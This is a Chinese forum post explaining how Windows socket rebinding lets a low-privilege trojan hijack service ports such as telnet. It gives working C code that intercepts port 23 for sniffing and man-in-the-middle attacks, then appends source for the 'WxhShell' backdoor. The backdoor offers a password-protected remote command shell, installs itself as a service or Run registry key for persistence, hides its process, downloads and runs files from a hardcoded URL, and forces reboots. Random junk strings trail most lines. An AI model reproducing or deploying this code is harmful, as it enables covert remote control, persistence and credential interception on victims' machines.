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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (8DC}kckE  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :S83vE81WK  
Ta0|+IYk<  
  saddr.sin_family = AF_INET; ?!:ha;n  
iuW[`ou X  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); tY<4%~%X  
 DPxM'7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); B]wk+8SMY.  
H2\;%K 2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 jOunWv|  
ZQsJL\x[UK  
  这意味着什么?意味着可以进行如下的攻击: 1=c\Rr9]  
ZU4nc3__  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,-c6dS   
OZF rtc+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) M)+H{5bt  
/Iy]DU8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 A`$%SVgFV^  
^mDe08. %b  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  U$.@]F4&  
gCS<iBT(7  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 xrz,\eTb  
TER=*"!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7IH@oMvE  
(N6i4 g6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 V7Lxfoa4  
}'V5/>m[  
  #include [PM 2\#K  
  #include (Z q/  
  #include jD]~ AwRJ  
  #include    N^G Mp,8  
  DWORD WINAPI ClientThread(LPVOID lpParam);   IqHV)A  
  int main() ::lKL  
  { wu!59pL  
  WORD wVersionRequested; r'r%w#=`t  
  DWORD ret; zT.7  
  WSADATA wsaData; LgU_LcoM*  
  BOOL val; 6 7.+ .2  
  SOCKADDR_IN saddr; [Td4K.c  
  SOCKADDR_IN scaddr; `pa!~|p  
  int err; 6r0krbN  
  SOCKET s; %D34/=(X  
  SOCKET sc; KeB"D!={;  
  int caddsize; WRbj01v  
  HANDLE mt; BLdvyVFx  
  DWORD tid;   ItVWO:x&v  
  wVersionRequested = MAKEWORD( 2, 2 ); %6,SKg p  
  err = WSAStartup( wVersionRequested, &wsaData ); PI)+Jr%L  
  if ( err != 0 ) { (O?.)jEW(.  
  printf("error!WSAStartup failed!\n"); d#Y^>"|$.  
  return -1; rSk >  
  } 29"'K.r  
  saddr.sin_family = AF_INET; Jb@V}Ul$  
   @Zu5VpJ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ) 1f~ dR88  
Q#X8u-~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); o3^l~iT  
  saddr.sin_port = htons(23); `/XY>T}-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ad8n<zt|  
  { [< ?s?Ci  
  printf("error!socket failed!\n"); ;>yxNGV`  
  return -1; &*,#5.  
  } ]EBxl=C}D  
  val = TRUE;  .-c4wm}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =E4LRKn  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Q5`*3h6p=  
  { kQSy+q  
  printf("error!setsockopt failed!\n"); /QWvW=F2<  
  return -1; W?R6ZAn  
  } 4<Utmr  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; w^|*m/h|@u  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !4RWYMV "  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =_2jK0+}l  
,t?B+$E  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |(E FY\  
  { rC%*$g $  
  ret=GetLastError(); O)*+="Rg  
  printf("error!bind failed!\n"); O!#g<`r{K  
  return -1; uAJx.>$b  
  } T{.pM4Hd  
  listen(s,2); ?m}s4a  
  while(1) 3>AMII  
  { 4y?n [/M/  
  caddsize = sizeof(scaddr); u(>^3PJ+  
  //接受连接请求 jh%Eq+#S  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,{u yG:  
  if(sc!=INVALID_SOCKET) Smn;(K  
  { ^A$Zw+P  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); O7m(o:t x3  
  if(mt==NULL) mb TEp*H  
  { i {NzV  
  printf("Thread Creat Failed!\n"); >V?eog%~  
  break; -`kW&I0  
  } W0@n/U  
  } vXf!G`D  
  CloseHandle(mt); feDlH[$  
  } t ;;U}  
  closesocket(s); q460iL7yF}  
  WSACleanup(); EzM ?Nft  
  return 0; N=5a54!/  
  }   P6-s0]-g  
  DWORD WINAPI ClientThread(LPVOID lpParam) e "4 ''/  
  { rNWw?_H-H(  
  SOCKET ss = (SOCKET)lpParam; 5h=}j  
  SOCKET sc; |`2RShu  
  unsigned char buf[4096]; !}#8)?p  
  SOCKADDR_IN saddr; WUe{vV#S'0  
  long num; kW Ml  
  DWORD val; EReZkvseC  
  DWORD ret; 3tIVXtUCUk  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @]%IK(|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _LEK%  
  saddr.sin_family = AF_INET; mZS >O_E  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); kX7C3qdmt  
  saddr.sin_port = htons(23); }%ojw |  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nLZTK&7}  
  { \O3m9,a   
  printf("error!socket failed!\n"); A5I)^B<(  
  return -1; rxvx  
  } MDZ640-Y  
  val = 100; KK/tu+"  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _ @NL;w:!  
  { kzQ+j8.,U  
  ret = GetLastError(); GX!G>  
  return -1; pHXm>gTd,J  
  } A@!qv#'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 45@ I*`  
  { -8ywO"6  
  ret = GetLastError(); oi&VgnSk  
  return -1; HSE!x_$  
  } +ZaSM~   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) B dj!ia;H  
  { #C74z$  
  printf("error!socket connect failed!\n"); T= y}y  
  closesocket(sc); ,GbR!j@6  
  closesocket(ss); i/;\7n  
  return -1; Q0`wt.}V2  
  } / |;RV"  
  while(1) _lJ!R:*  
  { {Qf=G|Ah  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 H7&8\ FNa  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 FF`T\&u  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  9X+V4xux  
  num = recv(ss,buf,4096,0); `_Zg3_K.dS  
  if(num>0) jP$a_hW  
  send(sc,buf,num,0); p SH=%u>  
  else if(num==0) Eak$u>Fd8c  
  break;  L2[($l  
  num = recv(sc,buf,4096,0); hc(#{]].  
  if(num>0) V5nwu#  
  send(ss,buf,num,0); ky,(xT4  
  else if(num==0) hP%M?MKC  
  break; *MFIV02[N  
  } 1Kw+,.@d  
  closesocket(ss); MC&` oX[  
  closesocket(sc); Tj` ,Z5vy  
  return 0 ; w,p PYf/t  
  } ~OYiq}g  
{ =9,n\85#  
t:x\kp  
========================================================== b;B%q$sntC  
A7Cm5>Y_S  
下边附上一个代码,,WXhSHELL PFlNo` iO  
Gi|w}j_  
========================================================== $t'MSlF  
y4 #>X  
#include "stdafx.h" "rALt~AX  
vFzRg5lH  
#include <stdio.h> ^qvZXb  
#include <string.h> 7dTkp!'X-  
#include <windows.h> Fbr;{T .  
#include <winsock2.h> hn7# L  
#include <winsvc.h> ~f&E7su-6+  
#include <urlmon.h> ;LKkbT 5  
 L^/5ux  
#pragma comment (lib, "Ws2_32.lib") e9Wa<i 8  
#pragma comment (lib, "urlmon.lib") hE'-is@7  
4$HhP, gL=  
#define MAX_USER   100 // 最大客户端连接数 3)t.p>VgO  
#define BUF_SOCK   200 // sock buffer Fj8z  
#define KEY_BUFF   255 // 输入 buffer P-9)38`5  
q"CVcLi9  
#define REBOOT     0   // 重启 \"w"$9o6  
#define SHUTDOWN   1   // 关机 ]NQfX[  
r..iko]T  
#define DEF_PORT   5000 // 监听端口 L:$ ,v^2  
jh?H.;**  
#define REG_LEN     16   // 注册表键长度 Y #ap*  
#define SVC_LEN     80   // NT服务名长度 _P#|IAq*  
bI7Vwyz  
// 从dll定义API z}77Eh<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kf\PioD8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q<x/Hat)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R^8o^z['6u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); '6nA F  
T8?Ghbn  
// wxhshell配置信息 ,1.p%UE]>  
struct WSCFG { ^lnK$i  
  int ws_port;         // 监听端口  sg^zH8,3  
  char ws_passstr[REG_LEN]; // 口令 pTth}JM>  
  int ws_autoins;       // 安装标记, 1=yes 0=no M~Tuj1?  
  char ws_regname[REG_LEN]; // 注册表键名 f <Zxz9  
  char ws_svcname[REG_LEN]; // 服务名 \}yc`7T:L0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "=HA Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B {n,t}z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ANAVn@ [  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jKz$@gP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y>8sZuH0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nSDMOyj+  
zH72'"w  
}; *?@?f&E/  
]\-A;}\e  
// default Wxhshell configuration ch*8B(:  
struct WSCFG wscfg={DEF_PORT, &@X<zWg  
    "xuhuanlingzhe", p%up)]?0  
    1, T= 80,  
    "Wxhshell", \i>?q   
    "Wxhshell", 3,_aAgeE  
            "WxhShell Service", o"s)eh  
    "Wrsky Windows CmdShell Service", W<h)HhyG  
    "Please Input Your Password: ", k&M;,e3v6  
  1, {r,.!;mHu  
  "http://www.wrsky.com/wxhshell.exe", ]? c B:}  
  "Wxhshell.exe" JMCKcZ%N  
    }; ydEoC$?0  
.r=4pQ@#  
// 消息定义模块 ?> 9/#Nv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rET\n(AJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x;O[c3I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M5 LfRBO  
char *msg_ws_ext="\n\rExit."; 7(1|xYCx$  
char *msg_ws_end="\n\rQuit."; lf`{zc r:  
char *msg_ws_boot="\n\rReboot..."; (q/e1L-S  
char *msg_ws_poff="\n\rShutdown..."; ,hDW Ps2S  
char *msg_ws_down="\n\rSave to "; F@D`N0Pte  
`{@8Vsmy:  
char *msg_ws_err="\n\rErr!"; RT4x\&q  
char *msg_ws_ok="\n\rOK!"; d"1]4.c  
V5@:#BIs  
char ExeFile[MAX_PATH]; +q<jAW A  
int nUser = 0; +uF>2b6'  
HANDLE handles[MAX_USER]; -u+vJ6EY  
int OsIsNt; Gm&Za,4%4  
s2p\]|5  
SERVICE_STATUS       serviceStatus; l ~"^7H?4e  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3GYw+%Z]  
@(w@e\Bq  
// 函数声明 {f_={k  
int Install(void); 7DogM".}~Q  
int Uninstall(void); 5+4IN5o]=  
int DownloadFile(char *sURL, SOCKET wsh); Df-DRi  
int Boot(int flag); /obfw^  
void HideProc(void); a@K%06A;'  
int GetOsVer(void); R`5.[?Dt  
int Wxhshell(SOCKET wsl); @Rze| T.  
void TalkWithClient(void *cs); ;J( 8 L  
int CmdShell(SOCKET sock); 6xmZXp d!  
int StartFromService(void); 3lL-)<0A(  
int StartWxhshell(LPSTR lpCmdLine); e-/&$Qq  
](]i 'fE>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y-pJF{ R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n: ^ d|@  
$?iLLA~  
// 数据结构和表定义 gT{Q#C2Baw  
SERVICE_TABLE_ENTRY DispatchTable[] = biD$qg  
{ 8.1c?S  
{wscfg.ws_svcname, NTServiceMain}, 'T;P;:!\  
{NULL, NULL} _IHV7*u{;  
}; HQ_Ok `  
^rR1ZVY  
// 自我安装 kOrZv,qFG[  
int Install(void) _#E0g'3  
{ Ux!p8  
  char svExeFile[MAX_PATH]; `6(S^P  
  HKEY key; IVnHf_PzF  
  strcpy(svExeFile,ExeFile); ?/E~/;+7=  
|fJ};RLI"  
// 如果是win9x系统,修改注册表设为自启动 |)DGkOtd  
if(!OsIsNt) { HXC ;Np  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  #4NaL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fSj5ZsO  
  RegCloseKey(key); 7vKK%H_P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6dr%;Wp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PcMD])Z{G  
  RegCloseKey(key); pZ{+c  
  return 0; |-67 \p]  
    } <]t%8GB2V  
  } :as$4|  
} .WJ YQi  
else { wo{gG?B  
`:fZ)$sY  
// 如果是NT以上系统,安装为系统服务 A1$TXr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ] )\Pqn(  
if (schSCManager!=0) \~mT] '5  
{ LKB$,pR~1l  
  SC_HANDLE schService = CreateService \;,+   
  ( Oc0a77@  
  schSCManager, U[-o> W#  
  wscfg.ws_svcname, i v38p%Zm  
  wscfg.ws_svcdisp, 2%Ri,4SRb  
  SERVICE_ALL_ACCESS, ]L.O8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _Kf%\xg  
  SERVICE_AUTO_START, 3AtGy'NTp  
  SERVICE_ERROR_NORMAL, <?.&^|kS  
  svExeFile, rl;~pO5R9  
  NULL, yjX9oxhtL  
  NULL, (_]~wi-,  
  NULL, a(X@Q8l:  
  NULL, `UyG_;  
  NULL '3tCH)s  
  ); FIhk@TKa  
  if (schService!=0) !sP {gi#=  
  { wH&!W~M  
  CloseServiceHandle(schService); f|c{5$N!  
  CloseServiceHandle(schSCManager); k@J&IJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >z>!Luw  
  strcat(svExeFile,wscfg.ws_svcname); '3fu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s?}e^/"v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RWZSQ~  
  RegCloseKey(key); ;7V%#-  
  return 0; L|7R9+ZG  
    } c ( C%Hld  
  } C`9+6T  
  CloseServiceHandle(schSCManager); I-*S&SiXjI  
} #&aqKV Y  
} U(g:zae  
I;|B.j  
return 1; {rw|#Z>A  
} :U%W%  
;bib/  
// 自我卸载 Y eo]]i{  
int Uninstall(void) 'G4ICtHQ  
{ ^"2J]&x`G  
  HKEY key; Om\vMd@!  
xJ8M6O8  
if(!OsIsNt) { *vxk@ `K~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mxC;?s;~  
  RegDeleteValue(key,wscfg.ws_regname); b5vC'B-!  
  RegCloseKey(key); v>)"HL"XG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *)T^Ch D,  
  RegDeleteValue(key,wscfg.ws_regname); ~Ea} /Au  
  RegCloseKey(key); "ne?P9'hF  
  return 0; (Zrj_P`0[  
  } 266h\2t6  
} E,U+o $  
} $|@@Qk/T  
else { g |yvF-+  
xF'EiX~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q dBrQC  
if (schSCManager!=0) Yujiqi]J;  
{ IueFx u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )23H1  
  if (schService!=0) l'.VKh\C  
  { "(~^w=d:$  
  if(DeleteService(schService)!=0) { <uw9DU7G  
  CloseServiceHandle(schService); 7' V@+5  
  CloseServiceHandle(schSCManager); om z  
  return 0; >uhaW@d  
  } K`zdc`/  
  CloseServiceHandle(schService); m@v\(rT.  
  } IK=a*}19L  
  CloseServiceHandle(schSCManager); /]Md~=yNp  
} h2]P]@nW;W  
} SsDmoEeB[  
c9 _ rmz8  
return 1; agDM~=#F  
} :>f )g  
@,7GaK\  
// 从指定url下载文件 k)=s>&hl  
int DownloadFile(char *sURL, SOCKET wsh) jcf7n`L  
{ joAv{Tc  
  HRESULT hr; f+)L#>Gl?  
char seps[]= "/"; C1n>M}b  
char *token; 04P}-L,  
char *file; ,j_i?Ff  
char myURL[MAX_PATH]; !``,gExH  
char myFILE[MAX_PATH]; u^I|T.w<r6  
j-}O0~Jz  
strcpy(myURL,sURL); 29] G^f>  
  token=strtok(myURL,seps); '4Bm;&6M  
  while(token!=NULL) EUX\^c]n  
  { O;jrCB  
    file=token; aSQ#k;T[  
  token=strtok(NULL,seps); /%1ON9o>  
  } 2-v%`fA  
!PQ<04jA!  
GetCurrentDirectory(MAX_PATH,myFILE); y/7\?qfTk  
strcat(myFILE, "\\"); xdt- ;w|  
strcat(myFILE, file); Q\7h`d%)  
  send(wsh,myFILE,strlen(myFILE),0); Ie#Bkw'*  
send(wsh,"...",3,0); vr6w^&[c^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A]oV"`f  
  if(hr==S_OK) "JV_2K_i  
return 0; hD!7Cl Q  
else uZKr  
return 1; 6 V=9M:  
rw JIx|(  
} Ioa$51&  
jLm ;ty2;  
// 系统电源模块 .[OUI  
int Boot(int flag) MKi0jwJM  
{ 2uW; xfeY  
  HANDLE hToken; 0IBSRFt$g&  
  TOKEN_PRIVILEGES tkp; (iX+{a%"  
Y\8)OBZ  
  if(OsIsNt) { O m2d .7S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?NsW|w_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WP'!*[z  
    tkp.PrivilegeCount = 1; kxhWq:[c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0~/_|?]`7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7[XRd9a5(  
if(flag==REBOOT) { +\ .Lp 5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Qe:seW  
  return 0; CkQ3#L<2  
} _)m]_eS._  
else { 0 /U{p,r6`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5Yq@;e  
  return 0; BW*rIn<?G  
} tg4pyW <  
  } W[e$>yK  
  else { /7^4O(iG  
if(flag==REBOOT) { yN(%-u"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hhc,uJ">!  
  return 0; 7~.9=I'A  
} V {ddr:]4  
else { ]&+s6{}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3;]H1 1  
  return 0; 8'io$ 6d=  
} +VOK%8,p  
} BUXpC xQ  
c 3)jccWTc  
return 1; R!gEwTk  
} )1`0PJoHE  
j'"J%e]  
// win9x进程隐藏模块 JU&c.p /  
void HideProc(void) <6 Uf.u`  
{ r52gn(,  
6mxfLlZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ; )@~  
  if ( hKernel != NULL ) _F|Ek;y%  
  { }N6.Uu 5zI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ` 7V]y -  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 56kI 5:  
    FreeLibrary(hKernel); [5Mr@f4I  
  } ;"-&1qHN  
,(^*+G.i  
return; ope^~+c~\  
} ~dTrf>R8M  
z_4J)?3  
// 获取操作系统版本 e8?jmN`2  
int GetOsVer(void) l}A93jSL  
{ M&9+6e'-F  
  OSVERSIONINFO winfo; 60?%<oJ oH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T!)(Dv8@F  
  GetVersionEx(&winfo); PIS2Ed]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q(W3i^778  
  return 1; FP4P|kl/9'  
  else 5D//*}b,  
  return 0; *_\_'@1|J)  
} lZKi'vg7  
Q K<"2p?  
// 客户端句柄模块 a~y'RyA  
int Wxhshell(SOCKET wsl) "b3"TPfK  
{ G mA< g  
  SOCKET wsh; ee76L&:  
  struct sockaddr_in client; \d`h/tHk  
  DWORD myID; |[b{)s?x  
,UF_`|  
  while(nUser<MAX_USER) kVLS  
{ z1X`o  
  int nSize=sizeof(client); 5 #E`=C%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &`2)V;t  
  if(wsh==INVALID_SOCKET) return 1; 8$Y9ORs4  
$X,D(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (V2fRv  
if(handles[nUser]==0) 8XE7]&)];  
  closesocket(wsh); iSs:oH3l  
else [FR`Z=%  
  nUser++; oE]QF.n#  
  } -]M5wb2,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mrtb*7`$  
4ID5q~  
  return 0; _u QOHwn  
} 8&b,qQ~  
C,|,-CY  
// 关闭 socket %| Lfuz*  
void CloseIt(SOCKET wsh) Z=vU}S>r|v  
{ OYn}5RN  
closesocket(wsh); FXkM#}RgNm  
nUser--; IF:;`r@%  
ExitThread(0); Zp=U W*g^  
} }b.%Im<3R  
FJ)$f?=Qd  
// 客户端请求句柄 n,WqyNt*  
void TalkWithClient(void *cs) s`~IUNJ@P  
{ h>m"GpF x  
k~1?VQ+?M  
  SOCKET wsh=(SOCKET)cs; >}6%#CAf  
  char pwd[SVC_LEN]; draN0v f  
  char cmd[KEY_BUFF]; w NdisI  
char chr[1]; PB\x3pV!}  
int i,j; u.xnOcOH!  
\(2sW^fY  
  while (nUser < MAX_USER) { B:'US&6Lf'  
,r\o}E2  
if(wscfg.ws_passstr) { YS"=yye 3e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y`a3tO=Pd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NqWdRU  
  //ZeroMemory(pwd,KEY_BUFF); nZYBE030  
      i=0; .eVG:tl\  
  while(i<SVC_LEN) { 7WZ+T"O{I  
ePo}y])2  
  // 设置超时 { 9q4)R}G  
  fd_set FdRead; k~nBiV  
  struct timeval TimeOut; k~w*W X'  
  FD_ZERO(&FdRead); ]~3V}z,T*  
  FD_SET(wsh,&FdRead); -6B4sZpzD  
  TimeOut.tv_sec=8; h(EhkCf  
  TimeOut.tv_usec=0; +TDw+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6qnzBA7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c9h6C  
Wvf ^N(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c\AfaK^KF  
  pwd=chr[0]; ;u)I\3`*!  
  if(chr[0]==0xd || chr[0]==0xa) { [ v*ju!  
  pwd=0; 1yu4emye4  
  break; [`7ThHX  
  } mc\"yC ^s  
  i++; B^^#D0<  
    } }-=|^  
Uz]|N6`  
  // 如果是非法用户,关闭 socket YNi.SXH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5$C-9  
} T9   
U-M>=3|N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +52{-a,>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -nV9:opD  
I b5rqU\  
while(1) { E~"y$Fqe  
o?\?@H  
  ZeroMemory(cmd,KEY_BUFF); ZPYS$Ydy  
tY4;F\e2|A  
      // 自动支持客户端 telnet标准   ~Z' ?LV<t  
  j=0; fI|Nc  
  while(j<KEY_BUFF) { 4'=y:v2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z4ImV~m  
  cmd[j]=chr[0]; $6poFo)U+  
  if(chr[0]==0xa || chr[0]==0xd) { f ) L  
  cmd[j]=0; >~0Z& d  
  break; Mb*?5R6;  
  } aQ@oH#  
  j++; 92oFlEJ  
    } 8KzkB;=n  
lrIe"H@  
  // 下载文件 L.JT[zOfb  
  if(strstr(cmd,"http://")) { e+fN6v5pU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1bwOm hkS  
  if(DownloadFile(cmd,wsh)) ^^ixa1H<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); CRy|kkT  
  else $ $mV d+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QoT;WM Z  
  } uoh7Sz5!^  
  else { ]:J$w]\  
}Jj}%XxKs  
    switch(cmd[0]) { @cXMG6:{  
  `'7R,  
  // 帮助 63IM]J  
  case '?': { a9Zq{Ysj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FfT`;j  
    break; ] Zh%DQ  
  } SOA,kwHRe  
  // 安装 5\VWCI  
  case 'i': { c@L< Z`u  
    if(Install()) U|R_OLWAg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F*ylnB3z  
    else DkDmE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l+0oS'`V*L  
    break; BnF^u5kv%  
    } 8zW2zkv2|#  
  // 卸载 Nu)NqFG,  
  case 'r': { =Nr-iae#  
    if(Uninstall()) g *+>H1}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  N4TV  
    else _7_Y={4=`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :?1Dko^  
    break; 8'y$M] e9n  
    } 0?|<I{z2  
  // 显示 wxhshell 所在路径 *.w 9c  
  case 'p': { wi{3/  
    char svExeFile[MAX_PATH]; O+x!Bg7   
    strcpy(svExeFile,"\n\r"); +X 88;-  
      strcat(svExeFile,ExeFile); yyTnL 2Y9  
        send(wsh,svExeFile,strlen(svExeFile),0); ]u/sphPe  
    break; G7/ +ogV  
    } 1<aP92/N&  
  // 重启 &s!@29DXR  
  case 'b': { LCV(,lu  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Xne1gms  
    if(Boot(REBOOT)) dft!lBN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BDQsP$'6QT  
    else { /Z}}(6T  
    closesocket(wsh); +D*Z_Yh6  
    ExitThread(0); :e+jU5;]3  
    } <<O$ G7c  
    break; .O<obq~;C  
    } 9_h[bBx-'Q  
